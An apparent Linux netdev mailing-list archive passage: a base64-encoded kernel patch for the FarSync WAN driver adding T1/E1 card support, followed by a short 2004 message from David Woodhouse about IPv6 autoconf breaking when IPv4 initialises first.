dHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwotICAgICAgICB9Ci19Ci0KLQotc3Rh dGljIHZvaWQKLWZzdF9vcGVucG9ydCAoIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0ICkKLXsK LSAgICAgICAgaW50IHNpZ25hbHM7Ci0KLSAgICAgICAgLyogT25seSBpbml0IHRoaW5ncyBpZiBj YXJkIGlzIGFjdHVhbGx5IHJ1bm5pbmcuIFRoaXMgYWxsb3dzIG9wZW4gdG8KLSAgICAgICAgICog c3VjY2VlZCBmb3IgZG93bmxvYWRzIGV0Yy4KLSAgICAgICAgICovCi0gICAgICAgIGlmICggcG9y dC0+Y2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcgKQotICAgICAgICB7Ci0gICAgICAgICAgICAg ICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAg ICAgICAgIGRiZyAoIERCR19PUEVOLCJvcGVuOiBmb3VuZCBwb3J0IGFscmVhZHkgcnVubmluZ1xu Iik7Ci0KLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9pc3N1ZV9jbWQgKCBwb3J0LCBTVE9Q UE9SVCApOwotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+cnVuID0gMDsKLSAgICAgICAg ICAgICAgICB9Ci0KLSAgICAgICAgICAgICAgICBmc3RfcnhfY29uZmlnICggcG9ydCApOwotICAg ICAgICAgICAgICAgIGZzdF90eF9jb25maWcgKCBwb3J0ICk7Ci0gICAgICAgICAgICAgICAgZnN0 X29wX3JhaXNlICggcG9ydCwgT1BTVFNfUlRTIHwgT1BTVFNfRFRSICk7Ci0KLSAgICAgICAgICAg ICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgU1RBUlRQT1JUICk7Ci0gICAgICAgICAgICAgICAg cG9ydC0+cnVuID0gMTsKLQotICAgICAgICAgICAgICAgIHNpZ25hbHMgPSBGU1RfUkRMICggcG9y dC0+Y2FyZCwgdjI0RGVib3VuY2VkU3RzW3BvcnQtPmluZGV4XSk7Ci0gICAgICAgICAgICAgICAg aWYgKCBzaWduYWxzICYgKCggcG9ydC0+aHdpZiA9PSBYMjEgKSA/IElQU1RTX0lORElDQVRFCi0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA6IElQ U1RTX0RDRCApKQotICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfY2Fycmllcl9vbiAoIHBv cnRfdG9fZGV2ICggcG9ydCApKTsKLSAgICAgICAgICAgICAgICBlbHNlCi0gICAgICAgICAgICAg ICAgICAgICAgICBuZXRpZl9jYXJyaWVyX29mZiAoIHBvcnRfdG9fZGV2ICggcG9ydCApKTsKLSAg ICAgICAgfQotfQotCi1zdGF0aWMgdm9pZAotZnN0X2Nsb3NlcG9ydCAoIHN0cnVjdCBmc3RfcG9y dF9pbmZvICpwb3J0ICkKLXsKLSAgICAgICAgaWYgKCBwb3J0LT5jYXJkLT5zdGF0ZSA9PSBGU1Rf UlVOTklORyApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBpZiAoIHBvcnQtPnJ1biApCi0g ICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+cnVuID0gMDsK LSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9vcF9sb3dlciAoIHBvcnQsIE9QU1RTX1JUUyB8 IE9QU1RTX0RUUiApOwotCi0gICAgICAgICAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICgg cG9ydCwgU1RPUFBPUlQgKTsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgZWxz ZQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19P UEVOLCJjbG9zZTogcG9ydCBub3QgcnVubmluZ1xuIik7Ci0gICAgICAgICAgICAgICAgfQotICAg ICAgICB9CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisJc3RydWN0IGZzdF9wb3J0X2lu Zm8gKnBvcnQ7CisJc3RydWN0IGZzdGlvY193cml0ZSB3cnRoZHI7CisJc3RydWN0IGZzdGlvY19p bmZvIGluZm87CisJdW5zaWduZWQgbG9uZyBmbGFnczsKK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ZhaWx1cmUg PyAqLwotICAgICAgICBpZiAoIHNrYi0+bGVuID4gTEVOX1RYX0JVRkZFUiApCi0gICAgICAgIHsK LSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIlBhY2tldCB0b28gbGFyZ2UgJWQgdnMgJWRc biIsIHNrYi0+bGVuLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgTEVOX1RYX0JVRkZFUiApOwotICAgICAgICAgICAgICAgIGRldl9rZnJlZV9za2IgKCBz a2IgKTsKLSAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnR4X2Vycm9ycysrOwotICAg ICAgICAgICAgICAgIHJldHVybiAwOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogQ2hlY2sgd2Ug aGF2ZSBhIGJ1ZmZlciAqLwotICAgICAgICBwaSA9IHBvcnQtPmluZGV4OwotICAgICAgICBzcGlu X2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAgICAgIHR4cCA9 IHBvcnQtPnR4cG9zOwotICAgICAgICBkbWFiaXRzID0gRlNUX1JEQiAoIGNhcmQsIHR4RGVzY3JS aW5nW3BpXVt0eHBdLmJpdHMgKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICYgRE1BX09XTiApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQt PmNhcmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIk91dCBv ZiBUeCBidWZmZXJzXG4iKTsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICggc2tiICk7 Ci0gICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKLSAgICAgICAg ICAgICAgICByZXR1cm4gMDsKLSAgICAgICAgfQotICAgICAgICBpZiAoICsrcG9yd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xsIGluIHRoZSBuZXQgZGV2aWNlIGluZm8gKi8KLSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLyogU2luY2UgdGhpcyBpcyBhIFBDSSBzZXR1cCB0aGlzIGlzIHB1cmVseQotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBpbmZvcm1hdGlvbmFsLiBHaXZlIHRoZW0gdGhl IGJ1ZmZlciBhZGRyZXNzZXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogYW5k IGJhc2ljIGNhcmQgSS9PLgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAg ICAgICAgICAgICAgICBkZXYtPm1lbV9zdGFydCAgID0gY2FyZC0+cGh5c19tZW0KLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICsgQlVGX09GRlNFVCAoIHR4QnVmZmVyW2ldWzBdWzBd KTsKLSAgICAgICAgICAgICAgICBkZXYtPm1lbV9lbmQgICAgID0gY2FyZC0+cGh5c19tZW0KLSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsgQlVGX09GRlNFVCAoIHR4QnVmZmVyW2ld W05VTV9UWF9CVUZGRVJdWzBdKTsKLSAgICAgICAgICAgICAgICBkZXYtPmJhc2VfYWRkciAgID0g Y2FyZC0+cGNpX2NvbmY7Ci0gICAgICAgICAgICAgICAgZGV2LT5pcnEgICAgICAgICA9IGNhcmQt PmlycTsKLQotICAgICAgICAgICAgICAgIGRldi0+dHhfcXVldWVfbGVuICAgICAgICAgID0gRlNU X1RYX1FVRVVFX0xFTjsKLSAgICAgICAgICAgICAgICBkZXYtPm9wZW4gICAgICAgICAgICAgICAg ICA9IGZzdF9vcGVuOwotICAgICAgICAgICAgICAgIGRldi0+c3RvcCAgICAgICAgICAgICAgICAg ID0gZnN0X2Nsb3NlOwotICAgICAgICAgICAgICAgIGRldi0+ZG9faW9jdGwgICAgICAgICAgICAg ID0gZnN0X2lvY3RsOwotICAgICAgICAgICAgICAgIGRldi0+d2F0Y2hkb2dfdGltZW8gICAgICAg ID0gRlNUX1RYX1RJTUVPVVQ7Ci0gICAgICAgICAgICAgICAgZGV2LT50eF90aW1lb3V0ICAgICAg ICAgICAgPSBmc3RfdHhfdGltZW91dDsKLSAgICAgICAgICAgICAgICBjYXJkLT5wb3J0c1tpXS5o ZGxjLmF0dGFjaCA9IGZzdF9hdHRhY2g7Ci0gICAgICAgICAgICAgICAgY2FyZC0+cG9ydHNbaV0u aGRsYy54bWl0ICAgPSBmc3Rfc3RhcnRfeG1pdDsKLQotICAgICAgICAgICAgICAgIGlmICgoIGVy ciA9IHJlZ2lzdGVyX2hkbGNfZGV2aWNlICggJmNhcmQtPnBvcnRzW2ldLmhkbGMgKSkgPCAwICkK LSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwcmludGtfZXJyICgi Q2Fubm90IHJlZ2lzdGVyIEhETEMgZGV2aWNlIGZvciBwb3J0ICVkIgotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIiAoZXJybm8gJWQpXG4iLCBpLCAtZXJyICk7Ci0gICAgICAg ICAgICAgICAgICAgICAgICBjYXJkLT5ucG9ydHMgPSBpOwotICAgICAgICAgICAgICAgICAgICAg ICAgYnJlYWs7Ci0gICAgICAgICAgICAgICAgfQotICAgICAgICB9Ci0KLSAgICAgICAgc3Bpbl9s b2NrX2luaXQgKCAmY2FyZC0+Y2FyZF9sb2NrICk7Ci0KLSAgICAgICAgcHJpbnRrICggS0VSTl9J TkZPICIlcy0lczogJXMgSVJRJWQsICVkIHBvcnRzXG4iLAotICAgICAgICAgICAgICAgICAgICAg ICAgaGRsY190b19kZXYoJmNhcmQtPnBvcnRzWzBdLmhkbGMpLT5uYW1lLAotICAgICAgICAgICAg ICAgICAgICAgICAgaGRsY190b19kZXYoJmNhcmQtPnBvcnRzW2NhcmQtPm5wb3J0cy0xXS5oZGxj KS0+bmFtZSwKLSAgICAgICAgICAgICAgICAg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AgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkZhclN5bmMgY2FyZCBmb3VuZCBi dXQgaW5zdWZmaWNpZW50IG1lbW9yeSBmb3IiCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICIgZHJpdmVyIHN0b3JhZ2VcbiIpOwotICAgICAgICAgICAgICAgIHJldHVybiAtRU5PTUVN OwotICAgICAgICB9Ci0gICAgICAgIG1lbXNldCAoIGNhcmQsIDAsIHNpemVvZiAoIHN0cnVjdCBm c3RfY2FyZF9pbmZvICkpOwotCi0gICAgICAgIC8qIFRyeSB0byBlbmFibGUgdGhlIGRldmljZSAq LwotICAgICAgICBpZiAoKCBlcnIgPSBwY2lfZW5hYmxlX2RldmljZSAoIHBkZXYgKSkgIT0gMCAp Ci0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiRmFpbGVkIHRvIGVuYWJs ZSBjYXJkLiBFcnIgJWRcbiIsIC1lcnIgKTsKLSAgICAgICAgICAgICAgICBnb3RvIGVycm9yX2Zy ZWVfY2FyZDsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIFJlY29yZCBpbmZvIHdlIG5lZWQqLwot ICAgICAgICBjYXJkLT5pcnEgICAgICAgICA9IHBkZXYtPmlycTsKLSAgICAgICAgY2FyZC0+cGNp X2NvbmYgICAgPSBwY2lfcmVzb3VyY2Vfc3RhcnQgKCBwZGV2LCAxICk7Ci0gICAgICAgIGNhcmQt PnBoeXNfbWVtICAgID0gcGNpX3Jlc291cmNlX3N0YXJ0ICggcGRldiwgMiApOwotICAgICAgICBj YXJkLT5waHlzX2N0bG1lbSA9IHBjaV9yZXNvdXJjZV9zdGFydCAoIHBkZXYsIDMgKTsKLQotICAg ICAgICBjYXJkLT50eXBlICAgICAgICA9IGVudC0+ZHJpdmVyX2RhdGE7Ci0gICAgICAgIGNhcmQt Pm5wb3J0cyAgICAgID0gKCBlbnQtPmRyaXZlcl9kYXRhID09IEZTVF9UWVBFX1QyUCApID8gMiA6 IDQ7Ci0KLSAgICAgICAgY2FyZC0+c3RhdGUgICAgICAgPSBGU1RfVU5JTklUOwotCi0gICAgICAg IGRiZyAoIERCR19QQ0ksInR5cGUgJWQgbnBvcnRzICVkIGlycSAlZFxuIiwgY2FyZC0+dHlwZSwK LSAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPm5wb3J0cywgY2FyZC0+aXJxICk7Ci0gICAg ICAgIGRiZyAoIERCR19QQ0ksImNvbmYgJTA0eCBtZW0gJTA4eCBjdGxtZW0gJTA4eFxuIiwKLSAg ICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnBjaV9jb25mLCBjYXJkLT5waHlzX21lbSwgY2Fy ZC0+cGh5c19jdGxtZW0gKTsKLQotICAgICAgICAvKiBDaGVjayB3ZSBjYW4gZ2V0IGFjY2VzcyB0 byB0aGUgbWVtb3J5IGFuZCBJL08gcmVnaW9ucyAqLwotICAgICAgICBpZiAoICEgcmVxdWVzdF9y ZWdpb24gKCBjYXJkLT5wY2lfY29uZiwgMHg4MCwiUExYIGNvbmZpZyByZWdzIikpCi0gICAgICAg IHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiVW5hYmxlIHRvIGdldCBjb25maWcgSS9P IEAgMHglMDRYXG4iLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgY2FyZC0+cGNpX2NvbmYgKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwot ICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfZnJlZV9jYXJkOwotICAgICAgICB9Ci0gICAgICAg IGlmICggISByZXF1ZXN0X21lbV9yZWdpb24gKCBjYXJkLT5waHlzX21lbSwgRlNUX01FTVNJWkUs IlNoYXJlZCBSQU0iKSkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJV bmFibGUgdG8gZ2V0IG1haW4gbWVtb3J5IEAgMHglMDhYXG4iLAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+cGh5c19tZW0gKTsKLSAgICAgICAg ICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfcmVsZWFz ZV9pbzsKLSAgICAgICAgfQotICAgICAgICBpZiAoICEgcmVxdWVzdF9tZW1fcmVnaW9uICggY2Fy ZC0+cGh5c19jdGxtZW0sIDB4MTAsIkNvbnRyb2wgbWVtb3J5IikpCi0gICAgICAgIHsKLSAgICAg ICAgICAgICAgICBwcmludGtfZXJyICgiVW5hYmxlIHRvIGdldCBjb250cm9sIG1lbW9yeSBAIDB4 JTA4WFxuIiwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IGNhcmQtPnBoeXNfY3RsbWVtICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAg ICAgICAgICAgICAgICBnb3RvIGVycm9yX3JlbGVhc2VfbWVtOwotICAgICAgICB9Ci0KLQotICAg ICAgICAvKiBHZXQgdmlydHVhbCBhZGRyZXNzZXMgb2YgbWVtb3J5IHJlZ2lvbnMgKi8KLSAgICAg ICAgaWYgKCggY2FyZC0+bWVtID0gaW9yZW1hcCAoIGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0la RSApKSA9PSBOVUxMICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJQ aHlzaWNhbCBtZW1vcnkgcmVtYXAgZmFpbGVkXG4iKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAt RU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfcmVsZWFzZV9jdGxtZW07Ci0gICAg ICAgIH0KLSAgICAgICAgaWYgKCggY2FyZC0+Y3RsbWVtID0gaW9yZW1hcCAoIGNhcmQtPnBoeXNf Y3RsbWVtLCAweDEwICkpID09IE5VTEwgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJp bnRrX2VyciAoIkNvbnRyb2wgbWVtb3J5IHJlbWFwIGZhaWxlZFxuIik7Ci0gICAgICAgICAgICAg ICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3RvIGVycm9yX3VubWFwX21lbTsK LSAgICAgICAgfQotICAgICAgICBkYmcgKCBEQkdfUENJLCJrZXJuZWwgbWVtICVwLCBjdGxtZW0g JXBcbiIsIGNhcmQtPm1lbSwgY2FyZC0+Y3RsbWVtKTsKLQotICAgICAgICAvKiBSZXNldCB0aGUg Y2FyZCdzIHByb2Nlc3NvciAqLwotICAgICAgICBmc3RfY3B1cmVzZXQgKCBjYXJkICk7Ci0gICAg ICAgIGNhcmQtPnN0YXRlID0gRlNUX1JFU0VUOwotCi0gICAgICAgIC8qIFJlZ2lzdGVyIHRoZSBp bnRlcnJ1cHQgaGFuZGxlciAqLwotICAgICAgICBpZiAoIHJlcXVlc3RfaXJxICggY2FyZC0+aXJx LCBmc3RfaW50ciwgU0FfU0hJUlEsIEZTVF9ERVZfTkFNRSwgY2FyZCApKQotICAgICAgICB7Ci0K LSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiVW5hYmxlIHRvIHJlZ2lzdGVyIGludGVycnVw dCAlZFxuIiwgY2FyZC0+aXJxICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAg ICAgICAgICAgICAgICBnb3RvIGVycm9yX3VubWFwX2N0bG1lbTsKLSAgICAgICAgfQotCi0gICAg ICAgIC8qIFJlY29yZCBkcml2ZXIgZGF0YSBmb3IgbGF0ZXIgdXNlICovCi0gICAgICAgIHBjaV9z ZXRfZHJ2ZGF0YShwZGV2LCBjYXJkKTsKLQotICAgICAgICAvKiBSZW1haW5kZXIgb2YgY2FyZCBz ZXR1cCAqLwotICAgICAgICBmc3RfaW5pdF9jYXJkICggY2FyZCApOwotCi0gICAgICAgIHJldHVy biAwOyAgICAgICAgICAgICAgICAgICAgICAgLyogU3VjY2VzcyAqL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7ICAgLyogQ1JDIGVycm9ycyAqLworICAgICAgICBpbnQgICAg ICAgICAgICBsaW5lQXR0ZW51YXRpb247IC8qIGluIGRCKi8KKyAgICAgICAgdW5zaWduZWQgc2hv cnQgbG9zc09mU2lnbmFsOworICAgICAgICB1bnNpZ25lZCBzaG9ydCByZWNlaXZlUmVtb3RlQWxh cm07CisgICAgICAgIHVuc2lnbmVkIHNob3J0IGFsYXJtSW5kaWNhdGlvblNpZ25hbDsKIH07CiAK IC8qICJ2YWxpZCIgYml0bWFzayAqLwpAQCAtMTMxLDEzICsxNjIsMjMgQEAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KICNkZWZpbmUgRlNUVkFMX1BST1RPICAg IDB4MDAwMDAyMDAgICAgICAvKiBwcm90byAqLwogI2RlZmluZSBGU1RWQUxfTU9ERSAgICAgMHgw MDAwMDQwMCAgICAgIC8qIGNhcmRNb2RlICovCisjZGVmaW5lIEZTVFZBTF9QSEFTRSAgICAweDAw MDAwODAwICAgICAgLyogQ2xvY2sgcGhhc2UgKi8KKyNkZWZpbmUgRlNUVkFMX1RFMSAgICAgIDB4 MDAwMDEwMDAgICAgICAvKiBUMUUxIENvbmZpZ3VyYXRpb24gKi8KICNkZWZpbmUgRlNUVkFMX0RF QlVHICAgIDB4ODAwMDAwMDAgICAgICAvKiBkZWJ1ZyAqLwotI2RlZmluZSBGU1RWQUxfQUxMICAg ICAgMHgwMDAwMDdGRiAgICAgIC8qIE5vdGU6IGRvZXMgbm90IGluY2x1ZGUgREVCVUcgZmxhZyAq LworI2RlZmluZSBGU1RWQUxfQUxMICAgICAgMHgwMDAwMUZGRiAgICAgIC8qIE5vdGU6IGRvZXMg bm90IGluY2x1ZGUgREVCVUcgZmxhZyAqLwogCiAvKiAidHlwZSIgKi8KICNkZWZpbmUgRlNUX1RZ UEVfTk9ORSAgIDAgICAgICAgICAgICAgICAvKiBQcm9iYWJseSBzaG91bGQgbmV2ZXIgaGFwcGVu ICovCiAjZGVmaW5lIEZTVF9UWVBFX1QyUCAgICAxICAgICAgICAgICAgICAgLyogVDJQIFgyMSAy IHBvcnQgY2FyZCAqLwogI2RlZmluZSBGU1RfVFlQRV9UNFAgICAgMiAgICAgICAgICAgICAgIC8q IFQ0UCBYMjEgNCBwb3J0IGNhcmQgKi8KKyNkZWZpbmUgRlNUX1RZUEVfVDFVICAgIDMgICAgICAg ICAgICAgICAvKiBUMVUgWDIxIDEgcG9ydCBjYXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1QyVSAg ICA0ICAgICAgICAgICAgICAgLyogVDJVIFgyMSAyIHBvcnQgY2FyZCAqLworI2RlZmluZSBGU1Rf VFlQRV9UNFUgICAgNSAgICAgICAgICAgICAgIC8qIFQ0VSBYMjEgNCBwb3J0IGNhcmQgKi8KKyNk ZWZpbmUgRlNUX1RZUEVfVEUxICAgIDYgICAgICAgICAgICAgICAvKiBUMUUxIFgyMSAxIHBvcnQg Y2FyZCAqLworCisvKiAiZmFtaWx5IiAqLworI2RlZmluZSBGU1RfRkFNSUxZX1RYUCAgMCAgICAg ICAgICAgICAgIC8qIFQyUCBvciBUNFAgKi8KKyNkZWZpbmUgRlNUX0ZBTUlMWV9UWFUgIDEgICAg ICAgICAgICAgICAvKiBUMVUgb3IgVDJVIG9yIFQ0VSAqLwogCiAvKiAic3RhdGUiICovCiAjZGVm aW5lIEZTVF9VTklOSVQgICAgICAwICAgICAgICAgICAgICAgLyogUmF3IHVuaW5pdGlhbGlzZWQg c3RhdGUgZm9sbG93aW5nCkBAIC0xNTUsNiArMTk2LDEwIEBACiAjZGVmaW5lIFYyNCAgICAgICAg ICAgICAxCiAjZGVmaW5lIFgyMSAgICAgICAgICAgICAyCiAjZGVmaW5lIFYzNSAgICAgICAgICAg ICAzCisjZGVmaW5lIFgyMUQgICAgICAgICAgICA0CisjZGVmaW5lIFQxICAgICAgICAgICAgICA1 CisjZGVmaW5lIEUxICAgICAgICAgICAgICA2CisjZGVmaW5lIEoxICAgICAgICAgICAgICA3CiAK IC8qICJwcm90byIgKi8KICNkZWZpbmUgRlNUX0hETEMgICAgICAgIDEgICAgICAgICAgICAgICAv KiBDaXNjbyBjb21wYXRpYmxlIEhETEMgKi8KQEAgLTE4Nyw2ICsyMzIsOTcgQEAKIC8qICJjYXJk TW9kZSIgYml0bWFzayAqLwogI2RlZmluZSBDQVJEX01PREVfSURFTlRJRlkgICAgICAweDAwMDEK IAorLyogCisgKiBDb25zdGFudHMgZm9yIFQxL0UxIGNvbmZpZ3VyYXRpb24KKyAqLworCisvKgor ICogQ2xvY2sgc291cmNlCisgKi8KKyNkZWZpbmUgQ0xPQ0tJTkdfU0xBVkUgICAgICAgMAorI2Rl ZmluZSBDTE9DS0lOR19NQVNURVIgICAgICAxCisKKy8qCisgKiBGcmFtaW5nCisgKi8KKyNkZWZp bmUgRlJBTUlOR19FMSAgICAgICAgICAgMAorI2RlZmluZSBGUkFNSU5HX0oxICAgICAgICAgICAx CisjZGVmaW5lIEZSQU1JTkdfVDEgICAgICAgICAgIDIKKworLyoKKyAqIFN0cnVjdHVyZQorICov CisjZGVmaW5lIFNUUlVDVFVSRV9VTkZSQU1FRCAgIDAKKyNkZWZpbmUgU1RSVUNUVVJFX0UxX0RP VUJMRSAgMQorI2RlZmluZSBTVFJVQ1RVUkVfRTFfQ1JDNCAgICAyCisjZGVmaW5lIFNUUlVDVFVS RV9FMV9DUkM0TSAgIDMKKyNkZWZpbmUgU1RSVUNUVVJFX1QxXzQgICAgICAgNAorI2RlZmluZSBT VFJVQ1RVUkVfVDFfMTIgICAgICA1CisjZGVmaW5lIFNUUlVDVFVSRV9UMV8yNCAgICAgIDYKKyNk ZWZpbmUgU1RSVUNUVVJFX1QxXzcyICAgICAgNworCisvKgorICogSW50ZXJmYWNlCisgKi8KKyNk ZWZpbmUgSU5URVJGQUNFX1JKNDhDICAgICAgMAorI2RlZmluZSBJTlRFUkZBQ0VfQk5DICAgICAg ICAxCisKKy8qCisgKiBDb2RpbmcKKyAqLworCisjZGVmaW5lIENPRElOR19IREIzICAgICAgICAg IDAKKyNkZWZpbmUgQ09ESU5HX05SWiAgICAgICAgICAgMQorI2RlZmluZSBDT0RJTkdfQ01JICAg ICAgICAgICAyCisjZGVmaW5lIENPRElOR19DTUlfSERCMyAgICAgIDMKKyNkZWZpbmUgQ09ESU5H X0NNSV9COFpTICAgICAgNAorI2RlZmluZSBDT0RJTkdfQU1JICAgICAgICAgICA1CisjZGVmaW5l IENPRElOR19BTUlfWkNTICAgICAgIDYKKyNkZWZpbmUgQ09ESU5HX0I4WlMgICAgICAgICAgNwor CisvKgorICogTGluZSBCdWlsZCBPdXQKKyAqLworI2RlZmluZSBMQk9fMGRCICAgICAgICAgICAg ICAwCisjZGVmaW5lIExCT183ZEI1ICAgICAgICAgICAgIDEKKyNkZWZpbmUgTEJPXzE1ZEIgICAg ICAgICAgICAgMgorI2RlZmluZSBMQk9fMjJkQjUgICAgICAgICAgICAzCisKKy8qCisgKiBSYW5n ZSBmb3IgbG9uZyBoYXVsIHQxID4gNjU1ZnQKKyAqLworI2RlZmluZSBSQU5HRV8wXzEzM19GVCAg ICAgICAwCisjZGVmaW5lIFJBTkdFXzBfNDBfTSAgICAgICAgIFJBTkdFXzBfMTMzX0ZUCisjZGVm aW5lIFJBTkdFXzEzM18yNjZfRlQgICAgIDEKKyNkZWZpbmUgUkFOR0VfNDBfODFfTSAgICAgICAg UkFOR0VfMTMzXzI2Nl9GVAorI2RlZmluZSBSQU5HRV8yNjZfMzk5X0ZUICAgICAyCisjZGVmaW5l IFJBTkdFXzgxXzEyMl9NICAgICAgIFJBTkdFXzI2Nl8zOTlfRlQKKyNkZWZpbmUgUkFOR0VfMzk5 XzUzM19GVCAgICAgMworI2RlZmluZSBSQU5HRV8xMjJfMTYyX00gICAgICAgUkFOR0VfMzk5XzUz M19GVAorI2RlZmluZSBSQU5HRV81MzNfNjU1X0ZUICAgICA0CisjZGVmaW5lIFJBTkdFXzE2Ml8y MDBfTSAgICAgIFJ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UjgJ MHgyMDAwCiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfTUFDUk9MSU5LX01DQ1IJMHgyMDAxCiAKKyNk ZWZpbmUgUENJX1ZFTkRPUl9JRF9GQVJTSVRFICAgICAgICAgICAweDE2MTkKKyNkZWZpbmUgUENJ X0RFVklDRV9JRF9GQVJTSVRFX1QyUCAgICAgICAweDA0MDAKKyNkZWZpbmUgUENJX0RFVklDRV9J RF9GQVJTSVRFX1Q0UCAgICAgICAweDA0NDAKKyNkZWZpbmUgUENJX0RFVklDRV9JRF9GQVJTSVRF X1QxVSAgICAgICAweDA2MTAKKyNkZWZpbmUgUENJX0RFVklDRV9JRF9GQVJTSVRFX1QyVSAgICAg ICAweDA2MjAKKyNkZWZpbmUgUENJX0RFVklDRV9JRF9GQVJTSVRFX1Q0VSAgICAgICAweDA2NDAK KyNkZWZpbmUgUENJX0RFVklDRV9JRF9GQVJTSVRFX1RFMSAgICAgICAweDE2MTAKKyNkZWZpbmUg UENJX0RFVklDRV9JRF9GQVJTSVRFX1RFMUMgICAgICAweDE2MTIKKwogI2RlZmluZSBQQ0lfVkVO RE9SX0lEX0FMVElNQQkJMHgxNzNiCiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfQUxUSU1BX0FDMTAw MAkweDAzZTgKICNkZWZpbmUgUENJX0RFVklDRV9JRF9BTFRJTUFfQUMxMDAxCTB4MDNlOQo= ------_=_NextPart_001_01C3F6D7.E9491D16-- From dwmw2@infradead.org Thu Feb 19 06:38:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 06:38:27 -0800 (PST) Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.86.99.235]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JEcMKO011526 for ; Thu, 19 Feb 2004 06:38:23 -0800 Received: from [213.86.99.237] (helo=[172.16.18.64]) by pentafluge.infradead.org with asmtp (Exim 4.30 #5 (Red Hat Linux)) id 1AtpJl-00037d-9O for netdev@oss.sgi.com; Thu, 19 Feb 2004 14:38:21 +0000 Subject: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... From: David Woodhouse To: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1077201499.18703.381.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Thu, 19 Feb 2004 14:38:20 +0000 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 3401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Putting IPv6 before IPv4 in net/Makefile fixes it, letting it IPv6 register its notifiers before the IPv4 ipconfig code brings up the interface. Objections? -- dwmw2 From dwmw2@infradead.org Thu Feb 19 07:27:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 